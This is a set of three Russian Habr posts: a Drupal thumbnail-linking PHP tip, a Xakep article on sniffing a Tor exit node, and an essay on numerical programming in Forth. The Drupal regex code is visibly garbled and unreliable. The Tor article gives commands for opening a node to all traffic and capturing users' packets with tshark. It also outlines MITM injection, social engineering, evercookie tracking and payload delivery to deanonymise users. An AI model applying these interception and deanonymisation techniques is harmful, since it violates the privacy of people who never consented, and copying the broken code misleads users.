Я самый яростный не любитель писать плагины — люблю делать всё через `page.tpl.php` или же инклудить свои функции прямо в `index.php`.
Окей, давайте посмотрим в html код страницы, и увидим, что же мы имеем на данный момент:
> `<img alt="" height="90" src="/sites/default/files/img/2-27SP\_vorn\_small.jpg" width="90" />
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
нам нужно превратить этот код во что-то примерно такое:
> `<a href="/sites/default/files/img/2-27SP\_vorn.jpg"><img src="/sites/default/files/img/2-27SP\_vorn\_small.jpg" alt="" >a>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Давай откроем наш page.tpl.php (это файл вашей темы).
И напишем самую первую строку нашего кода:
> `if(strstr($content,'src=')){
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Эта строка скажет нам, есть ли на странице элементы-картинки.
Далее мы напишем скрипт, изменяющий картинку на картинку-ссылку, ведущую на оригинал.
> `$content = preg\_replace('#![](\"([a-zA-Z0-9\/_-]+)*(_small+)\.(jpg|gif|png+)\"([)"[![](\"$1$2.$3\")](\"$1.$3\")",$content);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
+ давайте сделаем так, чтобы эти изменения не проходили на страницах визуального редактора. Для этого создадим вот такое условие:
> `if(!strstr($\_SERVER['REQUEST\_URI'],'edit'))
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### В итоге у нас получился вот такой скрипт:
> `if(!strstr($\_SERVER['REQUEST\_URI'],'edit'))
>
> {
>
> if (strstr($content,"src="))
>
> {
>
> $content = preg\_replace('#![](\"([a-zA-Z0-9\/_-]+)*(_small+)\.(jpg|gif|png+)\"([)"[\">![](\"$1$2.$3\")](\"$1.$3<br/)",$content);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь этот код можно смело вставить в самое начало файла `page.tpl.php`.
Что у нас получилось?
---------------------
Любому пользователю теперь достаточно загрузить картинку, создать **thumbnail с суффиксом \_small**(он создается если выбрать пункт при загрузке) и добавить этот thumbnail в ноду.
+ Добавляем поддержку lightbox2
-------------------------------
Заходим в админку, затем на страницу Lightbox'а.
Находим вкладку `Automatic image handling`.
Переходим в пункту `Custom Class Images`.
Выбираем Lightbox, ну или например Lightbox Groped и указываем имя класса-картинки.
По дефолту стоит lb2. Такое и советую оставить.
Меняем наш скрипт таким образом, чтобы картинка имела этот класс.
> `if(!strstr($\_SERVER['REQUEST\_URI'],'edit'))
>
> {
>
> if (strstr($content,"src="))
>
> {
>
> $content = preg\_replace('#![](\"([a-zA-Z0-9\/_-]+)*(_small+)\.(jpg|gif|png+)\"([)"[\">![](\"$1$2.$3\")](\"$1.$3<br/)",$content);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Всё готово!
**[Скачать скрипт целиком](http://www.new.velo-travel.ru/Easy_Gallery.php.zip) [0.5 kb]**
[Результат работы скрипта](http://new.velo-travel.ru/%D1%85%D0%B0%D0%B1%D1%80%D0%B0%D1%85%D0%B0%D0%B1%D1%80) (тестовый сайт) | https://habr.com/ru/post/77263/ | null | ru | null |
# Снифаем выходную ноду Tor’а и анализируем получившийся контент
Концепция «сеть поверх сети» появилась далеко не вчера. Еще в середине прошлого десятилетия «Хакер» писал о луковой и чесночной маршрутизации в лице Tor и I2P и даже публиковал обзоры соответствующего софта в рубрике «Шароwarez», но настоящий интерес к ним в обществе появился на волне известных инфоповодов и громких разоблачений последнего времени. Что же представляют собой даркнеты? Кто там живет? Чем они интересуются, чем дышат, что покупают и что продают? Попробуем разобраться с этим по-хакерски: с помощью снифера и прямого погружения.
> ### WARNING
>
>
>
> Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
### Система мониторинга onion-доменов
Каждый резидент сети может предоставить свои вычислительные ресурсы для организации Node-сервера — узлового элемента сети, который выполняет функцию посредника в информационном обмене клиента сети. Существует два типа узлов в данном даркнете: промежуточные и выходные (так называемые exit node). Последние являются крайним звеном в операции расшифровки трафика, а значит, представляют собой конечную точку, которая может стать каналом утечки интересной информации.
Наша задача весьма специфична: необходимо собрать существующие и, что самое главное, актуальные onion-ресурсы. При этом нельзя полностью доверяться внутренним поисковикам и каталогам сайтов, ведь актуальность содержащейся в них информации, а также ее полнота оставляет желать лучшего.
Однако решение задачи агрегации актуальных сайтов лежит на поверхности. Для того чтобы составить список недавно посещенных onion-ресурсов, необходимо отслеживать факт обращения к ним. Как мы уже говорили, exite node является конечной точкой на пути следования зашифрованных пактов, а значит, мы можем свободно перехватывать пакеты HTTP/HTTPS-протоколов Tor-пользователя, который занимается серфингом в «традиционном вебе».
Известно, что HTTP-пакет может содержать информацию о посещенных ранее ресурсах. Данные находятся в заголовке запроса Referer, который может содержать URL источника запроса. В «традиционном вебе» данная информация помогает веб-мастерам определить, по каким запросам в поисковых системах и с каких сайтов переходят пользователи подконтрольного веб-ресурса.
В нашем случае достаточно пробежаться по дампу перехваченного трафика регулярным выражением, содержащим строку onion.
### Пассивная система мониторинга
О конфигурировании exit node написано огромное количество доступных статей, поэтому здесь мы не будем заострять внимание на процессе конфигурации выходного узла, а отметим лишь самое важное.
Во-первых, в конфигурационном файле torrc необходимо задать политику Exit Policy, разрешающую передачу трафика по всем портам. Данная настройка не является какой-то магической манипуляцией и всего лишь дает надежду «увидеть» что-нибудь интересное на нетривиальном порту.
```
>> ExitPolicy accept *:*
```
Поле Nickname не несет никакой смысловой нагрузки, поэтому единственная рекомендация в данном случае — не использовать компрометирующие названия ноды (например, WeAreCapturingYourTraffic) и не использовать цифр, которые могут натолкнуть на мысль о целой сети подобных нод (например, NodeNumber3).
После запуска Tor-сервера необходимо дождаться завершения процедуры загрузки своих координат на сервер директорий — это поможет нашей ноде «заявить» о себе всем участникам даркнета.
После того как мы подняли выходной узел и уже начали пропускать через себя трафик Tor-юзеров, необходимо запустить снифер пакетов и ловить проходящий трафик. В нашем случае в роли снифера выступает tshark, который слушает интерфейс #1 (на нем висит Tor) и любезно складывает дамп в файл dump.pcap:
```
>>tshark -i 1 -w dump.pcap
```
Все описанные действия следует провести для как можно большего количества серверов, чтобы собрать больше интересной информации. Стоит отметить, что дамп растет довольно быстро и его необходимо периодически забирать для анализа.
> ### Малварь и даркнет
>
>
>
> Все больше вредоносного ПО (мобильных и десктопных троянцев) умеет работать со своими C&C-серверами, расположенными в Tor. Преимущества по сравнению с классическим подходом в управлении ботнетом налицо: не нужно заботиться о попадании домена в блек-листы провайдеров, практически нецелесообразно (нецелесообразно — это не синоним «невозможно») идентифицировать ботмастера, а также, в силу архитектуры даркнета, нельзя «выключить» сервер.
>
>
>
> Так, одним из первых работать с Tor начал банковский троян ZeuS, разработчики которого тянули вместе со своим зловредом утилиту tor.exe. Внедряя ее в процесс svchost.exe, злодеи тем самым инициировали защищенное соединение своего детища с командным сервером. Причины понятны — вряд ли кто-то прибежит и обесточит твой сервер или того хуже — возьмет под колпак.
>
>
>
> Спустя полгода после появления Tor-ботнетов функционал работы с onion-доменами начинает внедряться в мобильные трояны, причем теперь вирусописатели перестали использовать полностью готовые Tor-клиенты, а внедряют свои реализации и изменяют уже имеющиеся решения.
>
>
>
> Таким образом, многие onion-домены на настоящий момент представляют собой не что иное, как средство администрирования того или иного ботнета.
Административная панель одного из ботнетов
Фрагмент исходного кода одного из мобильных зловредов
### Активная система
Прежде чем перейти к результатам, полученным в процессе функционирования пассивной системы мониторинга, расскажем о концепции активной системы. До текущего момента в воздухе витала идея перехвата проходящих данных через выходные узлы Tor. В этом случае система имеет пассивную концепцию сбора информации, и ее операторы вынуждены довольствоваться теми результатами, которые попадут в их «сети». Однако о внутренних ресурсах даркнета можно получить куда больше информации, если для ее сбора использовать концепцию активной системы мониторинга.
Обязательным условием для нормального обмена информацией с внешними интернет-ресурсами через exit node является наличие ответа от веб-сервера, который наша выходная нода должна в обязательном порядке доставить до Tor-пользователя. В противном случае, если через ноду идут только запросы к веб-серверам, остающиеся без ответа, мы можем сделать вывод, что имеет место DDoS-атака.
Основная суть активной системы заключается в возможности организации MITM-атаки: мы можем перенаправлять пользователя на подконтрольный нам веб-ресурс или добавлять свой код в содержимое ответа с целью спровоцировать утечку какой-либо информации из браузера клиента.
Тема деанонимизации пользователя и описание ее техник требуют отдельной статьи, но можно сделать вывод, что ряд ее техник могут помочь в получении информации об актуальных ресурсах. Задача нетривиальная, и подойти к ее решению можно разными способами.
В данном случае все зависит от фантазии владельца exit node. Например, можно использовать техники социальной инженерии и спровоцировать (от имени администрации запрашиваемого ресурса) резидента даркнета отправить какую-либо информацию о себе и посещенных ресурсах. В качестве альтернативного средства можно попытаться загрузить на сторону жертвы какую-либо «полезную нагрузку».
Exit node в процессе своего функционирования
Tshark ловит пакеты, которые проходят через exit node в открытом виде
Традиционные веб-технологии также могут помочь в решении данной задачи. Например, cookies, которые владельцы веб-сайтов используют для получения статистической информации о посетителях. Необходимо отметить, что cookies обладают ограниченным временем жизни и, кроме того, пользователь может удалить их в любой момент. По этой причине разработчики идут на различные уловки, чтобы повысить время жизни и объем информации, хранимой в cookie-файлах.
Одним из способов является использование хранилища Flash, в таком случае информация хранится в LSO-файлах (local shared objects), которые схожи с cookie-файлами и тоже хранятся локально на компьютере пользователя. Кроме того, существует еще более мощный инструмент для работы с cookies — JavaScript-библиотека evercookie. Данная библиотека предоставляет возможность создавать трудноудаляемые cookies путем использования одновременно обычных HTTP-cookie, LSO-файлов и тегов HTML5. И всю эту информацию можно извлечь активной системой мониторинга.
> ### Герои даркнета
>
>
>
> Подобно Цукербергу и его Facebook, даркнеты имеют своих героев. На страницах нашего журнала можно было прочитать о Россе Уильяме Ульбрихте и его проекте Silk Road, посетитель которого мог заказать любое «средство доставки на тот свет» — начиная от наркотиков и заканчивая оружием. Популярность проекту принесли масштабы его бизнеса, однако это не значит, что площадка была единственной в своем роде. С каждым объявлением о закрытии Silk Road, как грибы после дождя, появлялись альтернативы в виде небольших магазинов, продающих запрещенные вещества. Более того, наученная «шелковым» опытом группа анархистов-разработчиков представила концепцию магазина DarkMarket, которая лишена недостатков, присущих традиционным магазинам даркнета. Однако данной децентрализованной площадке еще только предстоит набрать аудиторию, в то время как значительная часть Tor-пользователей уже вносит вклад в экосистему существующих площадок.
### Пауки темных сетей
Итак, получив в свое распоряжение огромный дамп, следует заняться его анализом на предмет onion-ресурсов. Беглое чтение дампа «по диагонали» позволило составить категории веб-приложений даркнета и вывести психологический портрет типичного Tor-пользователя.
Пример попавшего в логи onion-ресурса
Стоит отметить, что за сутки (будний день) непрерывного перехвата трафика дамп одной ноды вырастает до 3 Гб. А значит, просто открыть его Wireshark’ом не получится — программа просто подавится таким большим файлом. Для анализа дампа необходимо разбить его на файлы размером не более 200 Мб (определено эмпирическим путем). Для этого вместе с Wireshark идет утилита editcap:
```
>> editcap -c 200000 input.pcap
output.pcap
```
В данном случае значение 200 000 — число пакетов в одном файле.
При анализе дампа наша задача заключается в поиске строк, содержащих подстроку «.onion». С большой долей вероятности мы будем находить внутренние ресурсы Tor.
Пример содержательного заголовка Referer
Итак, чем же интересуются пользователи даркнетов? Из попавших в наши сети onion-ресурсов мы составили небольшой список.
#### Адалт, интимные услуги.
Порнографии, ресурсов с девушками легкого поведения и всевозможных форумов по увеличению «физических» характеристик много как во внешней сети, так и внутри даркнета. Как говорится, без комментариев.
Ресурс, предлагающий услуги интимного характера
#### Политика.
Оказывается, здесь тоже интересуются политикой! В нашем дампе обнаружилось достаточно большое количество украинских веб-ресурсов, расположенных во внешней сети.
#### Запрещенный контент.
Активно посещались всевозможные материалы о конструкции запрещенных девайсов (бомба), описание психотропных веществ с возможностью их приобретения. Логично: редкий индивид серфит посредством даркнета классические внешние веб-ресурсы.
#### Маркеты
Каталог товаров типичного дарк-маркета
Даркнеты и их веб-ресурсы представляют собой настоящий базар всевозможных противозаконных товаров. Обилие маркетов с наркотиками и оружием проявляется не только в виде ссылок, ведущих с внешних интернет-ресурсов в даркнет, но также и в реферер-заголовках Tor-юзеров.
Эти ресурсы предлагают не только различного вида химические соединения, но и материал для поклонников сериала «Во все тяжкие» — тех, кто любит «мастерить» наркотики своими руками. Причем создатели подобных площадок предоставляют своим клиентам сервис не хуже, чем какой-нибудь AliExpress, — существует система скидок для постоянных клиентов и возврат денежных средств за некачественный товар. Также здесь есть некое подобие транзакционных кодов для отслеживания статуса заказа.
Попробуем посетить классический рынок даркнета. После недолгой процедуры регистрации, где у нас запрашивают исключительно логин и пароль, мы попадаем в панель управления своим «криптовалютным» счетом. Интерфейс маркета устроен таким образом, чтобы пользователь не отвлекался на посторонние элементы управления и наслаждался обилием предложений всевозможных «ништяков».
> ### Осторожно Big Data
>
>
>
> В течение 24 часов непрерывного перехвата трафика на выходной ноде образуется дамп размером 3 Гб.
>
> Калькуляция:
>
> 10 нод × 3 Гб × 7 дней = = 210 Гб. Если хочешь поучаствовать в процессе разбора накопленной информации — пиши мне на электронную почту.
Наибольшее количество позиций наблюдается в категориях с наркотическими веществами, рецептами и некими абстрактными «Digital Goods» — заглянем сюда. Сортируем по убыванию цены и видим, что самыми дорогими товарами в этой категории выступают украденные базы аккаунтов. Тут есть из чего выбрать: от дорогих банковских учетных записей (стоимость базы около тысячи долларов) до недавно утекших баз от онлайн-сервисов.
Кстати говоря, на «утекшие» аккаунты Yahoo и Google имеются весьма положительные отзывы — а это значит, что народ, который их приобретает, некомпетентен в вопросах информационной безопасности. Инвайты на другие ресурсы, сомнительные и «секретные методики заработка в интернете» — все это довольно неплохо монетизируется.
Дорогостоящие представители Digital Goods
Другой маркет встретил нас сомнительным интерфейсом и все той же категорией Digital Goods, где обнаружилась подкатегория с интересным названием 0day, в которой… оказались те же самые «новые секретные рецепты». Вывод: в традиционных даркет-маркетах практически отсутствуют актуальные киберкриминальные предложения.
Такие вот «зиродеи»…
Примечателен тот факт, что на некоторых крупных площадках есть программы вознаграждения за найденные уязвимости (bug bounty).
Правда, качество репортов никакое — в основном «баги» носят скорее визуальный характер. Кроме того, форумы магазинов переполнены сообщениями: «Анонимен ли я, если покупаю у вас drugs со своего iPad?»
Среди мусора и флуда встречаются предложения по отмыванию денег. Как гласит описание сервисов, пользователь переводит свои биткоины и за небольшой процент владельцы сервиса распределяют эти деньги на множество подконтрольных кошельков, инициируя тем самым множество транзакций.
Фидбек для «Цифровых товаров»: осторожно, кидалы!
Для тех, кто желает поднять свой собственный маркет в даркнете, но при этом ничего не понимает в процессе разработки веб-приложений, на просторах интернета формируются группы разработчиков, которые специализируются как раз на подобных услугах.
Стоимость разработки ресурса для даркнета не сильно отличается от рыночных цен на типовые интернет-магазины, однако тут есть своя специфика. Например, оплата этим разработчикам происходит исключительно посредством криптовалюты.
Услуги разработчиков веб-приложений для даркнета
### Закрытые ресурсы
Довольно часто нам попадались различные закрытые для глаз обычного посетителя ресурсы. Можно только гадать о контенте, спрятанном за ними: возможно, это очередной форум или маркет, возможно, это админка какого-нибудь ботнета. Очень редко закрытый ресурс спрашивал имя и пароль — чаще мы просто наталкивались на ошибку 404, но при этом в логах фиксировались недавние переходы по скриптам веб-ресурса.
### Эксплойты, трояны
В наших логах не оказалось ни одного ресурса данной тематики. Однако вот как комментирует данную ситуацию представитель «закрытого сообщества специалистов по информационной безопасности»:
> «Даркнеты вообще и Tor в частности не привнесли никаких изменений в стандартные киберкриминальные бизнес-процессы. Площадки, на которых продается малварь, эксплойты к уязвимостям, сплоит-паки и т. п. по-прежнему остались во внешней сети. Попросту незачем уходить в даркнеты — это отсекает платежеспособную аудиторию и клиентов, усложняет сервис. Разработчики вредоносного ПО желают максимально упростить свою коммуникацию с заказчиками, и в этом процессе Tor — неудобный и сомнительный инструмент. Только с точки зрения функционирования малвари даркнет выступает хорошим средством сохранения админки ботнета. Что касается кардинг-площадок, то кардеры — люди очень жадные и ленивые. Зачем уходить в даркнет, если достаточно ограничить доступ к контенту стандартными средствами веб-движков? Или ввести членский взнос за участие в форуме? Уязвимости нулевого дня уже трудно найти не только в даркнете, но и на закрытых площадках в традиционном вебе. Эксплойтостроители теперь работают в командах и напрямую с конкретными заказчиками, так что им теперь вряд ли нужны форумы и уж тем более даркнеты».
Пример закрытой площадки
Процесс «гугления» внутри торовских onion-ресурсов дал несколько ссылок на продавцов банковского трояна ZeuS, однако все эти ссылки находились внутри крупного маркета, который, наряду с троянцем, продает наркотики и тому подобный стафф.
### Не Tor’ом единым
Технологическая суть даркнета сводится к организации дополнительного сетевого уровня, который работает поверх IP-протокола. Все это дает возможность осуществлять анонимную передачу данных (Tor) и в ряде случаев анонимно размещать свое веб-приложение (I2P).
Стоит отметить, что Tor больше ориентирован на сохранение анонимности участника информационного обмена, в то время как I2P и Freenet больше подходят для реализации анонимного хостинга. «Диггерам» контента в даркнетах нельзя оставлять без внимания I2P и небольшую анонимную пиринговую сеть Freenet, ведь это настоящий «тихий омут».
#### I2P
После установки Java-клиента I2P на странице 127.0.0.1:7658 появляется «заглушка» для локального сайта. Для того чтобы данный сайт стал виден всем участникам этого даркнета, нужно настроить туннель. Для адресации внутри сети используются идентификаторы, представляющие собой Base64-строки. Для сопоставления трудночитаемого идентификатора с уникальным именем нашего проекта (например, project.i2p) необходимо зарегистрировать для данного идентификатора доменное имя. Пусть тебя не смущает отсутствие системы доменных имен — ее попросту нет, так как она сама по себе была бы «узким горлышком» в работе сети, то есть создавала бы угрозу для сохраненности передаваемой информации.
DNS здесь реализован в виде распределенной системы хранения хеш-таблиц. После того как будет создан уникальный адрес (в его уникальности позволяет убедиться внутренний сервис), можно активировать проект. Информация о проекте должна быть внесена в распределенные адресные хранилища, после чего она распространится между всеми пользователями сети. Именно данный факт упрощает сбор информации о внутренних ресурсах.
### Выход на свет
Не принимай близко к сердцу утверждения об абсолютной анонимности в даркнете: все больше исследований доказывают, что анонимность в Tor и ему подобных сетях — это просто альтернатива другим средствам уберечься от внимания «соседа». Даркнет в настоящее время лишь надежда для анархистов (и желающих увеличить свой «девайс»), рынок для наркоманов и поле для исследований.
С помощью пассивной системы мониторинга мы смогли определить целевую аудиторию даркнета, немного покопались в актуальном контенте и нашли отправную точку для активной системы мониторинга, которая, в свою очередь, имеет шансы твердо ответить на вопрос, существует ли анонимность в даркнете.
> ### Благодарность
>
>
>
> Спасибо Амирану Гебенову за помощь в конфигурировании и администрировании описанной системы мониторинга.
Автор: [Денис Макрушин](http://habrahabr.ru/users/difezza/)
*Впервые опубликовано в журнале «Хакер» от 09/2014.*
Подпишись на «Хакер»
* [Бумажный вариант](http://bit.ly/habr_subscribe_paper)
* [«Хакер» на iOS/iPad](http://bit.ly/xakep_on_ipad)
* [«Хакер» на Android](http://bit.ly/habr_android) | https://habr.com/ru/post/244485/ | null | ru | null |
# Численный FORTH
### Первое впечатление
[Форт](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D1%82_(%D1%8F%D0%B7%D1%8B%D0%BA_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) и сейчас известен, главным образом, среди разработки встроенных систем, как что-то вроде необычайного высокоуровневого ассемблера, например, для микроконтроллеров - [AmForth](http://amforth.sourceforge.net/) и [Mecrisp](https://sourceforge.net/projects/mecrisp/). Однако, когда-то давным давно был известен в другой ипостаси - как [язык программирования научных приложений.](https://en.wikipedia.org/wiki/Scientific_programming_language)
Книги о Форте*Форт был выбран в качестве средства, с помощью которого объясняются детали программной реализации систем, основанных на знаниях, по следующим причинам: во-первых, транслятор с этого языка имеется практически на всех типах микрокомпьютеров, во-вторых, он достаточно дешевый, и, наконец, имеет много общего с языками искусственного интеллекта, в частности с Лиспом.*
Таунсенд К., Фохт Д. ПРОЕКТИРОВАНИЕ И ПРОГРАММНАЯ РЕАЛИЗАЦИЯ ЭКСПЕРТНЫХ СИСТЕМ НА ПЕРСОНАЛЬНЫХ ЭВМ. М.: Финансы и статистика, 1990.
Я прочёл это и был впечатлён. Вот три хорошо знакомые мне книги:
Языки программирования в книжках, соответственно - [Бейсик](https://en.wikipedia.org/wiki/Commodore_BASIC), [Фортран](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D1%82%D1%80%D0%B0%D0%BD#FORTRAN_77_(1978)) и Форт! В книге Т. Тоффоли:
*CAM-6 является машиной клеточных автоматов, предназначенной для того, чтобы служить лабораторией экспериментатора, средством сообщения результатов и средой для интерактивной демонстрации в режиме реального времени.*
*Физически CAM-6 состоит из модуля, который вставляется в один разъем IBM-PC (XT, AT или совместимых с ними моделей), и управляющего программного обеспечения, работающего в среде PC-DOS2. В то время как этот легко доступный головной компьютер обеспечивает размещение, экранирование, электропитание, дисковую память, монитор и стандартную операционную среду, вся действительная работа по моделированию клеточных автоматов с очень высокой скоростью совершается самим модулем с быстродействием, сравнимым (для этого частного приложения) с быстродействием CRAY-1. Управляющее программное обеспечение для CAM-6 написано на FORTH и работает на IBM-PC с памятью 256 К. Это программное обеспечение дополнено рядом готовых приложений и демонстрационных примеров и включает полный аннотированный список источников.*
*В этой книге будет использоваться язык CAM Forth. Forth является расширяемым языком программирования, особенно подходящим для интерактивных задач. Этот язык был расширен так, чтобы он содержал множество слов и конструкций, полезных для поддержания диалога с CAM ( в частности, для определения правил клеточного автомата и для конструирования, документирования и выполнения экспериментов).*
Очень интересно! Убедили, я тоже хочу попробовать Форт! Ощутить, как это, писать научное приложение на уровне 80-х или ранних 90-х. Говорят, что каждый фортер пишет свой Форт, но вряд ли это кому-то еще интересно, так что, пожалуй, попробую воспользоваться каким-то готовым Фортом и написать, скажем, программу для численного испытания... А, пускай будет это: C. Clay Marston and Gabriel G. BalintKurti. *The Fourier grid Hamiltonian method for bound state eigenvalues and eigenfunctions* // J. Chem. Phys. 91, 3571 (1989); doi: [10.1063/1.456888](https://aip.scitation.org/doi/10.1063/1.456888)
Как будто на дворе 1989 год, компилятор Фортрана где-то на большой машине в институте, а у меня просто нечто под руками, никаких там Matlab в помине нет. Компьютер - чуть больше по своим возможностям, чем калькулятор.
### Знакомство
Кстати, а вот и он - [HP 35s](https://en.wikipedia.org/wiki/HP_35s). Программы в нём - [шитый код](https://ru.wikipedia.org/wiki/%D0%A8%D0%B8%D1%82%D1%8B%D0%B9_%D0%BA%D0%BE%D0%B4) (ниже рисунок из Руководства к калькулятору). Перейти с калькулятора на Форт очень просто - Форт тоже использует тот самый шитый код.
Калькулятор HP 35s. Шитый код.В самом деле, каждое слово (термин Форта, аналог процедур или функций) состоит из других слов и так до самого нижнего уровня, где слова-примитивы это просто машинный код.
```
see normcdf
: NORMCDF flit 1.41421 F/ ERF F1.0 F+ flit .500000 F* ;
ok
see erf
: ERF FDUP FSIGN FSWAP FDUP F* FDUP flit .147000 F*
FDUP flit 1.27324 F+ FSWAP F1.0 F+ F/ F*
FNEGATE FEXP FNEGATE F1.0 F+ FSQRT F* ;
ok
see fsign
: FSIGN F0< DUP INVERT - S>F ;
ok
see dup
DUP IS CODE ( $4012D8 53 )
push ebx
```
В Форте всё слова. Константа - слово, что оставляет на стеке число. Переменная оставляет на стеке адрес, где лежит её значение. Есть много разных книг и описаний Форта, не буду их повторять, однако, считаю, что одно из лучших описаний того, что и как происходит под капотом дано здесь - <http://rigidus.ru/>
По моему впечатлению, Форт язык прагматичный, а не парадигматичный. Это постфиксный язык? С одной стороны, да, с другой - не совсем. Вот скажем, если последовательно придерживаться [постфиксной записи](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D0%BB%D1%8C%D1%81%D0%BA%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C), то определения должны были бы быть наподобие следующего:`(word) cvn { moveto show } def` или `{ moveto show } /S exch def` где ключевое слово **def** (определить) стоит после самого определения. Так делается в [Postscript](https://ru.wikipedia.org/wiki/PostScript), но не в Форт. В Форте было бы `: word moveto show ;` - за двоеточием следует определяемый термин, точка с запятой завершает определение. Почему так? А так проще. Двоеточие переводит интерпретатор Форт в состояние компиляции STATE=-1 (true в Форте), и текст определения считывается слева на право, точка с запятой в состояние интерпретации (выполнения) STATE=0.
Многие вещи в Форте сделаны с упором на простоту реализации, а не стандартизации. Чак Мур, создатель Форта, плохо относится к стандартизации. Его принцип - тебе нужно, ты и сделай. [Не спекулируй](https://www.forth.com/resources/forth-programming-language/), не оставляй зарубки для удобства будущего расширения функционала. Сейчас удобно и просто делать ТАК, вот ТАК и делай САМ И ПРЯМО СЕЙЧАС. Короче говоря, Форт это не совсем язык, это метод решения *конкретных* проблем. Вот его кредо:
1. Keep it simple
2. Do not speculate
3. Do it yourself ~~motherf\*cker~~
Не ждите от Форта серебряной пули, крутого фреймворка, полной библиотеки и продуманного кем-то API. Вот вам мнения, целый зоопарк реализаций и рецептов - да поможет Вам здравый смысл и базовые три принципа.
### Стеквилибристика
Положим, что мы захотели реализовать вычисление [гамма-функции](https://en.wikipedia.org/wiki/Gamma_function) (точнее, её логарифма) на Форте. Более того, у нас имеется сопроцессор типа [Intel 8087](https://ru.wikipedia.org/wiki/Intel_8087) - у него стековая архитектура, очень кстати для Форта! Воспользуемся [приближением Ланцоша](https://en.wikipedia.org/wiki/Lanczos_approximation) и запишем:
```
: LNGAMMA ( x -- ln(Г(x) )
\ Takes x > 0.0 and returns natural logarithm of Г(x).
FDUP 3.0E F+ 2.23931796330267E FSWAP F/
FOVER 2.0E F+ -27.0638924937115E FSWAP F/ F+
FOVER 1.0E F+ 41.4174045302371E FSWAP F/ F+
2.5066284643656E F+ FLN FSWAP
FDUP 4.15E F+ FLN
FOVER 0.50E F+ F*
FOVER 4.15E F+ F-
FROT F+ FSWAP FLN F- ;
```
Да, выглядит не очень читаемо - не все формулы хорошо укладываются в операции со стеком и чем сложнее - тем больше будет слов `FDUP, FROT, FOVER`... пока не настанет ситуация, когда на стеке 4 и более чисел. Тогда всё, приплыли. Печальная история о том, как такое случается изложена в одном [блоге](https://yosefk.com/blog/my-history-with-forth-stack-machines.html).
Обычный выход из этого положения - локальные переменные. Да, это Форт, их можно реализовать разными способами. Например, так `: lngamma { f: x }` это способ [gforth](http://www.gnu.org/software/gforth/). Или так : `lngamma {: f: x :}` способ [VFX Forth](https://vfxforth.com/). Локальные переменные достаточно сложная концепция, включающая в себя [область видимости](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%BB%D0%B0%D1%81%D1%82%D1%8C_%D0%B2%D0%B8%D0%B4%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8), время жизни и прочее. Вот уже придется нарушить первый принцип Форт и превратить его в Си-подобный язык?
### Гиперстатическое глобальное окружение
Строго говоря, [глобальные переменные Форта это совсем не тоже самое, что в других языках.](https://wiki.kluv.in/a/HyperStaticGlobalEnvironment) Чтобы было понятнее, вот пример рабочего кода:
```
variable apples ok
: +apples apples +! ; ok
: apples ." You have " apples @ . ." apples." cr ; ok
apples You have 0 apples.
ok
5 +apples ok
apples You have 5 apples.
ok
```
Здесь переменная apples переопределена словом `apples`, которое сообщает текущее количество яблок. Однако, слово `+apples` работает как положено, увеличивая счётчик. Внутри слова `+apples` ссылка на адрес счётчика, а не имя переменной. Так мы можем изменить любое определение не затрагивая работу ранних определений. Например, нам нужна переменная X. Определим:
```
variable &x
: x &x @ ;
: (x) &x ! ;
: cube (x)
x x x * * ;
variable &x
: x &x @ ;
: (x) &x ! ;
: square (x)
x x * ;
3 square . 9 ok
3 cube . 27 ok
```
Слова `cube` и `square` работают как положено. Повторяющиеся слова &x, x, (x) можно спрятать за определяющим словом, наподобие того, как предложено тут, см. пост [FORTH: Самоопределяющиеся слова.](https://m.habr.com/ru/post/220365/)
Определение группы переменных в F-PC Forth 3.60
```
FLOAD FFLOAT.SEQ
FLOAD EVAL.SEQ
: COMPARE ( c-addr1 u1 c-addr2 u2 -- n )
ROT
2DUP U< IF DROP COMPARE DUP 0= IF DROP 1 THEN EXIT THEN
2DUP U> IF NIP COMPARE DUP 0= IF DROP -1 THEN EXIT THEN
DROP COMPARE ;
: REFILL ( -- f ) \ CORE version for user input device and string only
loading @ IF ( file ) false EXIT THEN
'tib @ sp0 @ = IF ( user input device ) query true EXIT THEN
( EVALUATE ) false ;
MACRO: ++ PAD +PLACE ;
: (VARIABLE)
" VARIABLE &" PAD PLACE 2DUP ++
" : (" ++ 2DUP ++ " ) &" ++ 2DUP ++ " ! ;" ++
" : " ++ 2DUP ++ " &" ++ ( NAME ) ++ " @ ;" ++
PAD COUNT EVAL ;
: (FVARIABLE)
" FVARIABLE &" PAD PLACE 2DUP ++
" : (" ++ 2DUP ++ " ) &" ++ 2DUP ++ " F! ;" ++
" : " ++ 2DUP ++ " &" ++ ( NAME ) ++ " F@ ;" ++
PAD COUNT EVAL ;
: REFILL-AT-EOL? ( S: -- FLAG )
SOURCE NIP >IN @ > DUP 0= IF DROP REFILL THEN ;
: VARIABLES(
BEGIN BL WORD COUNT 2DUP " )" COMPARE
WHILE REFILL-AT-EOL?
WHILE (VARIABLE)
REPEAT
THEN 2DROP ;
: FVARIABLES(
BEGIN BL WORD COUNT 2DUP " )" COMPARE
WHILE REFILL-AT-EOL?
WHILE (FVARIABLE)
REPEAT
THEN 2DROP ;
```
Так оно будет использоваться так:
```
\ Объявление переменных
VARIABLES( MAXIT )
FVARIABLES( ACCURACY UNLIKELY-VALUE )
\ Присвоение значений
-1.11E30 (UNLIKELY-VALUE)
1.0E-9 (ACCURACY)
50 (MAXIT)
\ Положить значение переменной на стек
MAXIT . 50 ok
```
